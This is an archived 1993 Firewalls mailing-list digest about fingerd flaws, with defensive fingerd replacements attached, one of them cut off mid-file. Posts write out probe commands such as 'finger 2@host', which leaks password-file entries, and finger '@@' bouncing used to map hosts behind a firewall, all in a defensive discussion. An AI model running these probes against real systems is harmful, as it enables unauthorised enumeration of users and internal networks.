angst.microunity.com by gaea.microunity.com (4.1/muse1.3) id AA05592; Wed, 15 Sep 93 09:18:16 PDT Received: by angst.microunity.com (5.61/muse.mw-1) id AA28127; Wed, 15 Sep 93 09:17:06 -0700 From: ericm@angst.MicroUnity.com (Eric Murray) Message-Id: <9309151617.AA28127@angst.microunity.com> Subject: Re: fingerd... To: jmc@telecom.ksu.edu (James Chacon) Date: Wed, 15 Sep 93 9:17:04 MDT Cc: firewalls@GreatCircle.COM In-Reply-To: <199309150603.BAA08973@pawnee.telecom.ksu.edu>; from "James Chacon" at Sep 15, 93 1:03 am X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk James Chacon wrote: > > > [..] > The known hole was in using gets to grab input. There are a couple other bugs > I know of you may want to be aware of: > > 1. At under Sunos 4.1.x and probably before fingering something like this > would show you a varing amount of people from the password file: > > finger 2@ Doesn't seem to work on my SunOS 4.1.1 machines. Could it be an NIS thing? > 2. Finger allows bounces to work off of it: i.e. finger @host1@host2. This > can be used to finger at address's inside of a firewall that doesn't > think about it. > > finger @@ can allow someone to probe for valid > machines inside a firewall. > > I have source from people here that will disallow the @ bouncing, along > with disallowing fingers from nobody. It also has patched to output > who was being fingered, so you can see if someone in particular is > being probed for. % cat /usr/etc/in.fingerd #!/usr/local/bin/taintperl # fake fingerd to return whatever I say. # # ericm 4/6/93 # no buffering, please $| = 1; print "\ To reach someone at MicroUnity, send mail to Firstname_Lastname\ (i.e. Joe User -> Joe_User@microunity.com).\ If you have questions, send mail to postmaster@microunity.com.\ "; exit; -- ericm ericm@microunity.com From Firewalls-Owner Wed Sep 15 14:25:33 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA15358; Wed, 15 Sep 93 19:36:26 GMT Received: from swissbank.swissbank.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA15351; Wed, 15 Sep 93 12:36:11 PDT Received: by swissbank.swissbank.com with UUCP (4.1/BK-1.5) id AA26196; Wed, 15 Sep 93 14:39:39 CDT Received: from il.us.swissbank.com (oconnor) by gatekeeper.swissbank.com (4.1/BK-1.5) id AA16067; Wed, 15 Sep 93 14:39:00 CDT Received: from ch.swissbank.com ([161.20.1.72]) by il.us.swissbank.com (4.1/SMI-4.1) id AA15426; Wed, 15 Sep 93 14:38:56 CDT Received: from il.us.swissbank.com ([192.9.201.201]) by ch.swissbank.com (4.1/SMI-4.1) id AA04164; Wed, 15 Sep 93 21:42:20+010 Received: by il.us.swissbank.com (4.1/SMI-4.1) id AA15423; Wed, 15 Sep 93 14:38:53 CDT Received: from relay1.UU.NET by uu.psi.com (5.65b/4.1.031792-PSI/PSINet) via SMTP; id AA21921 for firewalls; Wed, 15 Sep 93 14:43:35 -0400 Received: from mycroft.GreatCircle.COM by relay1.UU.NET with SMTP (5.61/UUNET-internet-primary) id AA03183; Wed, 15 Sep 93 14:36:42 -0400 Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14326; Wed, 15 Sep 93 18:11:41 GMT Received: from uu3.psi.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA14313; Wed, 15 Sep 93 11:11:26 PDT Received: from seiden.com by uu3.psi.com (5.65b/4.0.071791-PSI/PSINet) via UUCP; id AA07961 for ; Wed, 15 Sep 93 13:45:41 -0400 Received: by seiden.com (4.1/1.39) id AA11804; Wed, 15 Sep 93 10:41:21 PDT From: mis@seiden.com (Mark Seiden) Message-Id: <9309151741.AA11804@seiden.com> Subject: UN agency in Switzerland needs a firewalls consultant (soon!) To: firewalls@GreatCircle.COM Date: Wed, 15 Sep 1993 10:41:20 -0700 (PDT) X-Mailer: ELM [version 2.4 PL22] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 2926 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Greetings. I'm looking for a computer security expert (black belt) to be a consultant initially for a project for an United Nations agency in Switzerland. The client is enjoying dabbling in (and expecting to expand their use of) various Internet-based and public access services (using Unix and VMS) and believe that they have *not* yet had a security problem (but we all know it's only a matter of time...). At the moment the work involves surveying and recommending (e.g. an initial examination of what they're planning, then say a week's visit, (i'm hoping for the week of october 3), subsequent technology transfer mostly by email. Then, subject to approval and budget, another visit to rather rapidly do, or oversee, or test). they are hoping that the be in-place by mid-november. (they have tentative security plans and policies drafted, but realized they don't have the expertise to carry it all off well enough to convince themselves it was done right... and management is committed to doing it right). (In this case it's probably more important to communicate your expertise to the client's system programming staff than to do it yourself...) We would prefer that the work be done through and with us (MSB Associates, Inc.) for several reasons (even some honorable ones.) In our experience the work-scope for such projects sometimes expands and will be placed in a larger context than "just security"; and we expect to have continuing work in this area/for this agency. (We're experts in networking and system programming, and some aspects of security (e.g. telecom, physical), and have set up internet gateways, so certainly understand the issues, but haven't been obsessed with the details of firewalls to be perfectly suited for this job.... The client has a sizeable system programming staff who will be involved. But we haven't decided who will do exactly what work.) things you'd have to be expert about: - setting up appropriate firewalls between the internet, public access machines in public areas on the agency's site, and their private network. - unix and vms. cisco routers. probably decnet and dec routers, and the dec security products. slip and ppp. - services that need tunneling include: all-in-one, ingres, gopher/wais, approved external logins (via the firewall?), probably others. Anyway, if any of you'd like to pursue this further, please *quickly* email me a cv/resume, with some detail of the security-related projects you've personally done, what you charge per day, and your availability the week beginning oct 3 and through november and we can continue from there. (I'd need to check a few references also if I don't know you already, and this is all subject to the agency's ultimate approval...)) (I hope this is suitably low-key and appropriate for firewalls... if not, I hope you can somehow forgive me...) -- mark seiden, mis@seiden.com, 1-(415) 592 8559 (voice) From Firewalls-Owner Wed Sep 15 22:34:39 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA17514; Wed, 15 Sep 93 22:34:39 GMT Received: from oahu.cs.ucla.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA17507; Wed, 15 Sep 93 15:34:30 PDT Received: by oahu.cs.ucla.edu (Sendmail 5.61d+YP/3.21) id AA03599; Wed, 15 Sep 93 15:36:57 -0700 Date: Wed, 15 Sep 93 15:36:57 -0700 From: gast@CS.UCLA.EDU (David Gast) Message-Id: <9309152236.AA03599@oahu.cs.ucla.edu> To: Firewalls-Digest@GreatCircle.COM Subject: fingerd Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk The finger 2@host bug seems to be more widespread than thought. Every host I tried it on at UCLA from Suns, to Next machines, to RTs, to HPs exhibited the strange behavior. It is not an NIS problem because not all the hosts are running NIS. David From Firewalls-Owner Wed Sep 15 22:38:42 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA17538; Wed, 15 Sep 93 22:38:42 GMT Received: from oahu.cs.ucla.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA17530; Wed, 15 Sep 93 15:38:36 PDT Received: by oahu.cs.ucla.edu (Sendmail 5.61d+YP/3.21) id AA03908; Wed, 15 Sep 93 15:41:21 -0700 Date: Wed, 15 Sep 93 15:41:21 -0700 From: gast@CS.UCLA.EDU (David Gast) Message-Id: <9309152241.AA03908@oahu.cs.ucla.edu> To: Firewalls-Digest@GreatCircle.COM Subject: fingerd Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Update: The machine running linux does not exhibit the bug. David From Firewalls-Owner Wed Sep 15 22:58:52 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA17637; Wed, 15 Sep 93 22:58:52 GMT Received: from deepthought.cs.utexas.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA17630; Wed, 15 Sep 93 15:58:43 PDT Received: from im4u.cs.utexas.edu by deepthought.cs.utexas.edu (5.64/1.2/relay) with SMTP id AA10982; Wed, 15 Sep 93 18:02:15 -0500 Received: from chinaca by im4u.cs.utexas.edu (5.64/1.26/uucp) with UUCP id AA17658; Wed, 15 Sep 93 18:01:22 -0500 Received: from coldsnap.unicom.com by chinacat.unicom.com with smtp (smail3.1.28.1) id m0od5jn-0002cVC; Wed, 15 Sep 93 17:54 CDT Received: from localhost by coldsnap.unicom.com (smail3.1.28.1) id m0od5jk-00023DC; Wed, 15 Sep 93 17:54 CDT Message-Id: From: chip@chinacat.unicom.com (Chip Rosenthal) Subject: Re: fingerd... To: blymn@mulga.awadi.com.AU (Brett Lymn) Date: Wed, 15 Sep 1993 17:54:06 -0500 (CDT) Cc: firewalls@GreatCircle.COM In-Reply-To: <9309150708.AA26761@mulga.awadi> from "Brett Lymn" at Sep 15, 93 04:38:07 pm X-Mailer: ELM [version 2.4 PL23beta2] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1046 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Brett Lymn writes: > If you remove the nobody account from the firewall machine then finger > cannot be used to bounce probes into the network since inetd cannot > find a valid uid to run fingerd as, well at least under SunOS 4.1.3 > this is so. By coincidence, I discovered a nasty bug just yesterday with the SCO TCP/IP v1.1, as shipped with ODT 1.1. The SCO inetd is broke. It doesn't care what user you put in inetd.conf, *everything* gets run as root. There are other problems with this version of inetd as well, such as datagram daemons do not work. (Tho that is a BSD bug SCO/Lachman failed to fix rather than one they introduced.) If you know anybody running an older version of SCO Unix networking, have them drop me a line. I'm in the midst of porting inetd and should have it done in a day or two. -- Chip Rosenthal 512-447-0577 | I'm going out where the lights don't shine so Unicom Systems Development | bright. When I get back you can treat me like | a Saturday night. -Jimmie Dale Gilmore From Firewalls-Owner Wed Sep 15 23:23:44 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA17744; Wed, 15 Sep 93 23:23:44 GMT Received: from research.att.com (ninet.research.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA17737; Wed, 15 Sep 93 16:23:37 PDT Message-Id: <9309152323.AA17737@mycroft.GreatCircle.COM> From: smb@research.att.com Received: by bigbird.zoo.att.com; Wed Sep 15 19:25:34 EDT 1993 To: gast@CS.UCLA.EDU (David Gast) Cc: Firewalls-Digest@GreatCircle.COM Subject: Re: fingerd Date: Wed, 15 Sep 93 19:25:32 EDT Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk The finger 2@host bug seems to be more widespread than thought. Every host I tried it on at UCLA from Suns, to Next machines, to RTs, to HPs exhibited the strange behavior. It is not an NIS problem because not all the hosts are running NIS. David I took a quick glance at the Sun source code today. It's definitely trying to do *something* with numeric arguments, but at a quick look, I sure couldn't tell what it was.... From Firewalls-Owner Thu Sep 16 00:18:56 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA17951; Thu, 16 Sep 93 00:18:56 GMT Received: from tadpole.Tadpole.COM by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA17944; Wed, 15 Sep 93 17:18:45 PDT Received: by tadpole.Tadpole.COM (4.1/SMI-4.1) id AA06562; Wed, 15 Sep 93 19:21:31 CDT Date: Wed, 15 Sep 93 19:21:31 CDT From: jim@tadpole.com (Jim Thompson) Message-Id: <9309160021.AA06562@tadpole.Tadpole.COM> To: gast@CS.UCLA.EDU, smb@research.att.com Subject: Re: fingerd Cc: Firewalls-Digest@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk I think you're referring to this: namecmp(name1, name2) register char *name1, *name2; { register c1, c2; for (;;) { c1 = *name1++; if (islower(c1)) c1 = toupper(c1); c2 = *name2++; if (islower(c2)) c2 = toupper(c2); if (c1 != c2) break; if (c1 == 0) return (1); } if (!c1) { for (name2--; isdigit(*name2); name2++) ; if (*name2 == 0) return (1); } else if (!c2) { for (name1--; isdigit(*name1); name1++) ; if (*name2 == 0) return (1); } return (0); } Other than the crap code (lint says, "assignment causes implicit narrowing conversion") name1 is the current substring out of the GECOS field. name2 is what was to the left of the '@' sign, or the arguement if executed directly on the target machine. (e.g. finger jim) c1 and c2 end up with the upper-case ASCII value of the first character of name1 and name2, if they don't match, then the code jumps to the "if (!c1)" line. The 'isdigit()' stuff *skips* numbers. Jim From Firewalls-Owner Thu Sep 16 00:53:39 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA18208; Thu, 16 Sep 93 00:53:39 GMT Received: from eden-valley.aaii.oz.AU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA18193; Wed, 15 Sep 93 17:53:26 PDT Received: by eden-valley.aaii.oz.AU (5.65c/SMI-4.0/AAII) id AA09124; Thu, 16 Sep 1993 10:56:04 +1000 Date: Thu, 16 Sep 1993 10:56:04 +1000 From: Rupert G. Goldie Message-Id: <199309160056.AA09124@eden-valley.aaii.oz.AU> To: firewalls@GreatCircle.COM Subject: Re: fingerd Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk More data points for the great fingerd "feature" hunt: finger 2@ultrix.machine an Ultrix 4.2A machine spits out about a sixth of the password entries. Ditto for an DEC OSF/1 1.2 machine. The OSF/1 machine, however, gives the same output for finger @@osf.machine and finger @osf.machine - just the users logged on. Rupert -- Rupert G. Goldie, Research Scientist rgg@aaii.oz.au Australian Artificial Intelligence Institute /\/\|| 1 Grattan Street, Melbourne, Australia From Firewalls-Owner Thu Sep 16 01:20:44 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA18393; Thu, 16 Sep 93 01:20:44 GMT Received: from awadi.com.AU (myall.awadi.com.AU) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA18386; Wed, 15 Sep 93 18:20:32 PDT Received: from mulga.awadi ([150.207.1.60]) by awadi.com.AU (4.1/SMI-4.1) id AA01135; Thu, 16 Sep 93 10:53:03 CST Received: from mallee.awadi by mulga.awadi (4.1/SMI-4.1) id AA07909; Thu, 16 Sep 93 10:51:54 CST From: blymn@mulga.awadi.com.AU (Brett Lymn) Message-Id: <9309160121.AA07909@mulga.awadi> Subject: Re: fingerd To: firewalls@GreatCircle.COM Date: Thu, 16 Sep 1993 10:51:50 +0930 (CST) X-Mailer: ELM [version 2.4 PL2] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Length: 549 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk According to David Gast: > >Update: The machine running linux does not exhibit the bug. > More updates: 386BSD does not have the bug but Interactive Unix 3.2.2 does. -- Brett Lymn, Computer Systems Administrator, AWA Defence Industries =============================================================================== "Where a calculator on the ENIAC is equipped with 18,000 vaccuum tubes and weighs 30 tons, computers in the future may have only 1,000 vaccuum tubes and perhaps weigh 1 1/2 tons." -- Popular Mechanics, March 1949 From Firewalls-Owner Thu Sep 16 01:37:51 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA18540; Thu, 16 Sep 93 01:37:51 GMT Received: from das.wang.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA18533; Wed, 15 Sep 93 18:37:38 PDT Received: from elf.wang.com by das.wang.com with SMTP id AA04753 (5.65c/IDA-1.5 for ); Wed, 15 Sep 1993 21:39:45 -0400 Received: from fnord.wang.com by elf.wang.com with SMTP id AA04592 (5.65c/IDA-1.5); Wed, 15 Sep 1993 21:39:35 -0400 Received: by fnord.wang.com (5.65c/TF5) id AA13221; Wed, 15 Sep 1993 21:39:29 -0400 From: Tom Fitzgerald Message-Id: <199309160139.AA13221@fnord.wang.com> Subject: Re: fingerd To: jim@tadpole.com (Jim Thompson) Date: Wed, 15 Sep 93 21:39:28 EDT Cc: gast@CS.UCLA.EDU, smb@research.att.com, Firewalls-Digest@GreatCircle.COM In-Reply-To: <9309160021.AA06562@tadpole.Tadpole.COM>; from "Jim Thompson" at Sep 15, 93 7:21 pm X-Mailer: ELM [version 2.3 PL11] Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > name1 is the current substring out of the GECOS field. name2 is what was > to the left of the '@' sign, or the arguement if executed directly on the > target machine. (e.g. finger jim) > > The 'isdigit()' stuff *skips* numbers. In that case, "finger " prints all users with empty GECOS fields (which is sure what it does here). Or rather, "finger " prints users whose GECOS fields match , and the "finger " slips past the test for fingering an empty string, which would otherwise print the logged-in users. Seems like a worthless feature to me, and (just to make this relevant for Firewalls), something worth disabling on a firewall system. -- Tom Fitzgerald Wang Labs, Lowell MA, USA fitz@wang.com 1-508-967-5278 elm: .sig discarded because it contained false or misleading information From Firewalls-Owner Thu Sep 16 02:37:48 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA19151; Thu, 16 Sep 93 02:37:48 GMT Received: from lks.lks.csi.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-930913) id AA13306; Wed, 15 Sep 93 07:59:18 PDT Received: from sioux.lks.csi.com by lks.lks.csi.com (5.65/6.930123) with SMTP id AA06486; Wed, 15 Sep 93 10:00:08 -0500 Message-Id: <9309151500.AA06486@lks.lks.csi.com> To: firewalls@GreatCircle.COM Subject: Re: fingerd... In-Reply-To: Your message of "Wed, 15 Sep 93 01:03:07 CDT." <199309150603.BAA08973@pawnee.telecom.ksu.edu> Reply-To: Christopher Hoover Date: Wed, 15 Sep 93 10:01:08 -0500 From: Christopher Hoover Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Folks, Here's a fingerd that logs requests. It is hardly more the BSD sources with a slight hack. It works great under SunOS 4.x; I haven't tried it on other systems. With it we caught one guy (presumably a student as he was working from an EDU site) maliciously fishing for information. Feel free to do whatever you want with it, just don't blame me -- no warranty expressed or implied, mumble, mumble, mumble ... -- Chris. (ch@lks.csi.com) #!/bin/sh # This is a shell archive (shar 3.10) # made 09/15/1993 14:53 UTC by Christopher Hoover (ch@lks) # Source directory /home7/local.common/src/fingerd # # existing files WILL be overwritten # # This shar contains: # length mode name # ------ ---------- ------------------------------------------ # 173 -r--r--r-- Makefile # 3716 -r--r--r-- fingerd.8 # 4827 -r--r--r-- fingerd.c # 1994 -r--r--r-- pathnames.h # touch 2>&1 | fgrep '[-amc]' > /tmp/s3_touch$$ if [ -s /tmp/s3_touch$$ ] then TOUCH=can else TOUCH=cannot fi rm -f /tmp/s3_touch$$ # ============= Makefile ============== echo "x - extracting Makefile (Text)" sed 's/^X//' << 'SHAR_EOF' > Makefile && X# X# $Header: /usr/local/src/fingerd/RCS/Makefile,v 1.3 1993/01/30 19:24:22 ch Exp $ X# X Xfingerd: fingerd.o X cc -o fingerd fingerd.o -lresolv X Xclean: X rm -f fingerd fingerd.o SHAR_EOF chmod 0444 Makefile || echo "restore of Makefile fails" if [ $TOUCH = can ] then touch -am 0130132493 Makefile fi # ============= fingerd.8 ============== echo "x - extracting fingerd.8 (Text)" sed 's/^X//' << 'SHAR_EOF' > fingerd.8 && X.\" Copyright (c) 1980, 1991 The Regents of the University of California. X.\" All rights reserved. X.\" X.\" Redistribution and use in source and binary forms, with or without X.\" modification, are permitted provided that the following conditions X.\" are met: X.\" 1. Redistributions of source code must retain the above copyright X.\" notice, this list of conditions and the following disclaimer. X.\" 2. Redistributions in binary form must reproduce the above copyright X.\" notice, this list of conditions and the following disclaimer in the X.\" documentation and/or other materials provided with the distribution. X.\" 3. All advertising materials mentioning features or use of this software X.\" must display the following acknowledgement: X.\" This product includes software developed by the University of X.\" California, Berkeley and its contributors. X.\" 4. Neither the name of the University nor the names of its contributors X.\" may be used to endorse or promote products derived from this software X.\" without specific prior written permission. X.\" X.\" THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND X.\" ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE X.\" IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE X.\" ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE X.\" FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL X.\" DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS X.\" OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) X.\" HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT X.\" LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY X.\" OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF X.\" SUCH DAMAGE. X.\" X.\" @(#)fingerd.8 6.4 (Berkeley) 3/16/91 X.\" $Header: /usr/local/src/fingerd/RCS/fingerd.8,v 1.2 1993/01/30 19:19:52 ch Exp $ X.\" X.Dd March 16, 1991 X.Dt FINGERD 8 X.Os BSD 4.3 X.Sh NAME X.Nm fingerd X.Nd remote user information server X.Sh SYNOPSIS X.Nm fingerd X.Sh DESCRIPTION X.Nm Fingerd Xis a simple protocol based on X.%T RFC742 Xthat provides an interface to the XName and Finger programs at several network sites. XThe program is supposed to return a friendly, Xhuman-oriented status report on either the system at the moment Xor a particular person in depth. XThere is no required format and the Xprotocol consists mostly of specifying a single X.Dq command line . X.Pp X.Nm Fingerd Xlistens for X.Tn TCP Xrequests at port 79. XOnce connected it reads a single command line Xterminated by a X.Aq Tn CRLF Xwhich is passed to X.Xr finger 1 . X.Nm Fingerd Xcloses its connections as soon as the output is finished. X.Pp XIf the line is null (i.e. just a X.Aq Tn CRLF Xis sent) then X.Xr finger Xreturns a X.Dq default Xreport that lists all people logged into Xthe system at that moment. X.Pp XIf a user name is specified (e.g. X.Pf eric Aq Tn CRLF ) Xthen the Xresponse lists more extended information for only that particular user, Xwhether logged in or not. XAllowable X.Dq names Xin the command line include both X.Dq login names Xand X.Dq user names . XIf a name is ambiguous, all possible derivations are returned. X.Sh SEE ALSO X.Xr finger 1 X.Sh BUGS XConnecting directly to the server from a X.Tn TIP Xor an equally narrow-minded X.Tn TELNET Ns \-protocol Xuser program can result Xin meaningless attempts at option negotiation being sent to the Xserver, which will foul up the command line interpretation. X.Nm Fingerd Xshould be taught to filter out X.Tn IAC Ns \'s Xand perhaps even respond Xnegatively X.Pq Tn IAC WON'T Xto all option commands received. X.Sh HISTORY XThe X.Nm Xcommand appeared in X.Bx 4.3 . SHAR_EOF chmod 0444 fingerd.8 || echo "restore of fingerd.8 fails" if [ $TOUCH = can ] then touch -am 0130132493 fingerd.8 fi # ============= fingerd.c ============== echo "x - extracting fingerd.c (Text)" sed 's/^X//' << 'SHAR_EOF' > fingerd.c && X/* X * Copyright (c) 1983 The Regents of the University of California. X * All rights reserved. X * X * Redistribution and use in source and binary forms, with or without X * modification, are permitted provided that the following conditions X * are met: X * 1. Redistributions of source code must retain the above copyright X * notice, this list of conditions and the following disclaimer. X * 2. Redistributions in binary form must reproduce the above copyright X * notice, this list of conditions and the following disclaimer in the X * documentation and/or other materials provided with the distribution. X * 3. All advertising materials mentioning features or use of this software X * must display the following acknowledgement: X * This product includes software developed by the University of X * California, Berkeley and its contributors. X * 4. Neither the name of the University nor the names of its contributors X * may be used to endorse or promote products derived from this software X * without specific prior written permission. X * X * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND X * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE X * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE X * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE X * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL X * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS X * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) X * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT X * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY X * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF X * SUCH DAMAGE. X */ X X#ifndef lint Xchar copyright[] = X"@(#) Copyright (c) 1983 The Regents of the University of California.\n\ X All rights reserved.\n"; X#endif /* not lint */ X X#ifndef lint Xstatic char sccsid[] = "@(#)fingerd.c 5.6 (Berkeley) 6/1/90"; X#endif /* not lint */ X X#ifndef lint Xstatic char rcsd[] = "$Header: /usr/local/src/fingerd/RCS/fingerd.c,v 1.2 1993/01/30 19:19:52 ch Exp $"; X#endif /* not lint */ X X#include X#include X#include X#include X#include X#include X#include X#include "pathnames.h" X Xmain(argv, argc) Xchar *argv[]; Xint argc; X{ X register FILE *fp; X register int ch; X register char *lp; X int p[2]; X#define ENTRIES 50 X char **ap, *av[ENTRIES + 1], line[1024], *strtok(); X char es_line[sizeof(line) * 4]; X X int addrlen; X struct sockaddr_in his_addr; X char remotehost[MAXHOSTNAMELEN]; X X struct hostent *hp; X X openlog("fingerd", 0, LOG_DAEMON); X X addrlen = sizeof (his_addr); X if (getpeername(0, (struct sockaddr *)&his_addr, &addrlen) < 0) { X syslog(LOG_ERR, "getpeername (%s): %m",argv[0]); X exit(1); X } X X hp = gethostbyaddr((char *) &(his_addr.sin_addr), X sizeof (struct in_addr), AF_INET); X if (hp) X (void) strncpy(remotehost, hp->h_name, sizeof (remotehost)); X else X (void) strncpy(remotehost, inet_ntoa(his_addr.sin_addr), X sizeof (remotehost)); X X if (!fgets(line, sizeof(line), stdin)) X exit(1); X X escape_line(line, es_line); X X syslog(LOG_INFO, "%s: \"%s\"", remotehost, es_line); X X av[0] = "finger"; X for (lp = line, ap = &av[1];;) { X *ap = strtok(lp, " \t\r\n"); X if (!*ap) X break; X /* RFC742: "/[Ww]" == "-l" */ X if ((*ap)[0] == '/' && ((*ap)[1] == 'W' || (*ap)[1] == 'w')) X *ap = "-l"; X if (++ap == av + ENTRIES) X break; X lp = NULL; X } X X if (pipe(p) < 0) X fatal("pipe"); X X switch(fork()) { X case 0: X (void)close(p[0]); X if (p[1] != 1) { X (void)dup2(p[1], 1); X (void)close(p[1]); X } X execv(_PATH_FINGER, av); X _exit(1); X case -1: X fatal("fork"); X } X (void)close(p[1]); X if (!(fp = fdopen(p[0], "r"))) X fatal("fdopen"); X while ((ch = getc(fp)) != EOF) { X if (ch == '\n') X putchar('\r'); X putchar(ch); X } X exit(0); X} X Xfatal(msg) X char *msg; X{ X extern int errno; X char *strerror(); X X syslog(LOG_ERR, "%s: %s", msg, strerror(errno)); X fprintf(stderr, "fingerd: %s: %s\r\n", msg, strerror(errno)); X exit(1); X} X Xescape_line(src, dst) Xchar *src, *dst; X{ X char cc; X int d2, d1, d0; X X while (cc = *src++) { X if ((cc == '\\') || (cc == '"')) X *dst++ = '\\', *dst++ = cc; X else if (isprint(cc)) X *dst++ = cc; X else { X switch (cc) { X case '\t': X *dst++ = '\\', *dst++ = 't'; X break; X case '\n': X *dst++ = '\\', *dst++ = 'n'; X break; X case '\r': X *dst++ = '\\', *dst++ = 'r'; X break; X case '\b': X *dst++ = '\\', *dst++ = 'b'; X break; X default: X d2 = (cc & 0300) >> 6; X d1 = (cc & 0070) >> 3; X d0 = (cc & 0007); X X *dst++ = '\\'; X *dst++ = '0' + d2; X *dst++ = '0' + d1; X *dst++ = '0' + d0; X } X } X } X *dst = 0; X} SHAR_EOF chmod 0444 fingerd.c || echo "restore of fingerd.c fails" if [ $TOUCH = can ] then touch -am 0130132493 fingerd.c fi # ============= pathnames.h ============== echo "x - extracting pathnames.h (Text)" sed 's/^X//' << 'SHAR_EOF' > pathnames.h && X/* X * Copyright (c) 1989 The Regents of the University of California. X * All rights reserved. X * X * Redistribution and use in source and binary forms, with or without X * modification, are permitted provided that the following conditions X * are met: X * 1. Redistributions of source code must retain the above copyright X * notice, this list of conditions and the following disclaimer. X * 2. Redistributions in binary form must reproduce the above copyright X * notice, this list of conditions and the following disclaimer in the X * documentation and/or other materials provided with the distribution. X * 3. All advertising materials mentioning features or use of this software X * must display the following acknowledgement: X * This product includes software developed by the University of X * California, Berkeley and its contributors. X * 4. Neither the name of the University nor the names of its contributors X * may be used to endorse or promote products derived from this software X * without specific prior written permission. X * X * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND X * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE X * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE X * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE X * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL X * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS X * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) X * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT X * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY X * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF X * SUCH DAMAGE. X * X * @(#)pathnames.h 5.3 (Berkeley) 6/1/90 X * $Header: /usr/local/src/fingerd/RCS/pathnames.h,v 1.2 1993/01/30 19:19:52 